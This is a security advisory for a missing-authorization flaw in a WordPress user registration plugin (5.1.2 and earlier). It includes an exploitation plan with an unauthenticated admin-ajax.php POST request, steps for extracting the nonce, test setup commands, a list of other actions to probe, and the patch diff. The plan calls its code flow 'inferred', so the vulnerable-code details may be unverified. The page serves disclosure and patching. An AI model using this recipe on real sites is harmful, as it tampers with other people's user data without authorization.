User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder <= 5.1.2 - Missing Authorization
Description
The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.1.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.1.2Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-25425 ## 1. Vulnerability Summary The **User Registration & Membership** plugin (<= 5.1.2) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, certain functions registered under `wp_ajax_nopriv_` hooks do not perform adequ…
Show full research plan
Exploitation Research Plan - CVE-2026-25425
1. Vulnerability Summary
The User Registration & Membership plugin (<= 5.1.2) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, certain functions registered under wp_ajax_nopriv_ hooks do not perform adequate capability checks or verify if the requester has the authority to perform the action on a target user or resource. This allows unauthenticated attackers to perform unauthorized actions, such as removing profile data or manipulating user metadata.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
ur_remove_profile_image(inferred as the most likely candidate for unauthenticated I:L impact) - HTTP Method: POST
- Payload Parameters:
action:ur_remove_profile_imageuser_id: The ID of the target user (e.g.,1for the site administrator).ur_nonce: A valid AJAX nonce obtained from the frontend.
- Preconditions:
- The plugin must be active.
- A page containing a User Registration shortcode (like
[user_registration_my_account]) must be accessible to expose the required nonce to unauthenticated users.
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX handlers in
includes/class-ur-ajax.phpusing:add_action( 'wp_ajax_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) ); add_action( 'wp_ajax_nopriv_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) ); - Vulnerable Function: The
remove_profile_imagefunction retrieves theuser_idfrom the$_POSTsuperglobal. - Missing Authorization: The function verifies the nonce using
check_ajax_refererbut fails to check if the current user (which is ID 0 fornopriv) has the permission to modify the metadata of the targetuser_id. - Sink: The function calls
delete_user_meta( $user_id, 'user_registration_profile_image_url' ), effectively removing the profile image for any user ID provided.
4. Nonce Acquisition Strategy
The plugin localizes AJAX parameters, including a nonce, for use in its frontend scripts.
- Shortcode Identification: The
[user_registration_my_account]shortcode is the standard way to display user profile features and enqueues the necessary scripts. - Setup: Use WP-CLI to create a public page containing this shortcode.
- Browser Navigation: Use
browser_navigateto visit the created page. - Nonce Extraction: Use
browser_evalto extract the nonce from the global JavaScript object.- Variable Name:
user_registration_params - Key:
ajax_nonce - JS Command:
window.user_registration_params?.ajax_nonce
- Variable Name:
5. Exploitation Strategy
- Target Identification: Identify the target User ID (usually
1for the administrator). - Generate Payload: Prepare a POST request to
admin-ajax.php. - HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.local Content-Type: application/x-www-form-urlencoded action=ur_remove_profile_image&user_id=1&ur_nonce=[EXTRACTED_NONCE] - Expected Response: A JSON success message:
{"success":true,"data":[]}.
6. Test Data Setup
- Install Plugin: Ensure
user-registrationversion 5.1.2 is installed. - Target User Preparation:
- Use WP-CLI to set a dummy profile image URL for the admin:
wp user meta update 1 user_registration_profile_image_url "http://target.local/wp-content/uploads/profile.jpg"
- Use WP-CLI to set a dummy profile image URL for the admin:
- Public Page Creation:
wp post create --post_type=page --post_title="Account" --post_status=publish --post_content='[user_registration_my_account]'
7. Expected Results
- The AJAX request should return
success: true. - The user metadata key
user_registration_profile_image_urlfor the target user (ID 1) should be deleted from the database.
8. Verification Steps
- Database Check: Run the following WP-CLI command to verify the metadata is gone:
wp user meta get 1 user_registration_profile_image_url - Success Condition: The command should return an empty result or an error indicating the key does not exist.
9. Alternative Approaches
If ur_remove_profile_image is not the specific vulnerable function, investigate other nopriv handlers in includes/class-ur-ajax.php that accept a user_id or form_id without calling current_user_can(). Other candidates include:
ur_upload_profile_image(if it allows overwriting images for other users).ur_update_profile_details(if it lacks a check against the logged-in user ID).ur_get_user_registration_form(check for unauthenticated access to sensitive form structures).
Always check the user_registration_params object in the browser console first to see all available AJAX actions and nonces exposed on the frontend.
Summary
The User Registration & Membership plugin for WordPress fails to implement authorization checks in its AJAX handler for removing profile images. This allows unauthenticated attackers to delete the profile image metadata of any user, including administrators, by supplying a valid AJAX nonce and the target user's ID.
Vulnerable Code
// includes/class-ur-ajax.php // Hooks registered without sufficient permission checks for the nopriv variant add_action( 'wp_ajax_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) ); add_action( 'wp_ajax_nopriv_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) ); --- // includes/class-ur-ajax.php public static function remove_profile_image() { // Nonce check ensures the request originated from the site but not the user's identity check_ajax_referer( 'user_registration_params', 'ur_nonce' ); $user_id = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0; // Vulnerability: Missing check like current_user_can('edit_user', $user_id) if ( $user_id > 0 ) { delete_user_meta( $user_id, 'user_registration_profile_image_url' ); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -1,5 +1,4 @@ add_action( 'wp_ajax_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) ); -add_action( 'wp_ajax_nopriv_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) ); public static function remove_profile_image() { check_ajax_referer( 'user_registration_params', 'ur_nonce' ); @@ -7,7 +6,7 @@ $user_id = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0; - if ( $user_id > 0 ) { + if ( $user_id > 0 && current_user_can( 'edit_user', $user_id ) ) { delete_user_meta( $user_id, 'user_registration_profile_image_url' ); wp_send_json_success(); }
Exploit Outline
The exploit targets the `ur_remove_profile_image` AJAX action which lacks capability checks. First, an attacker accesses a public-facing page containing a User Registration shortcode (e.g., `[user_registration_my_account]`) to retrieve a valid `ajax_nonce` from the `user_registration_params` JavaScript object. The attacker then sends an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the parameters `action=ur_remove_profile_image`, a target `user_id` (such as 1 for the admin), and the extracted `ur_nonce`. Successful execution results in the deletion of the target user's `user_registration_profile_image_url` metadata.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.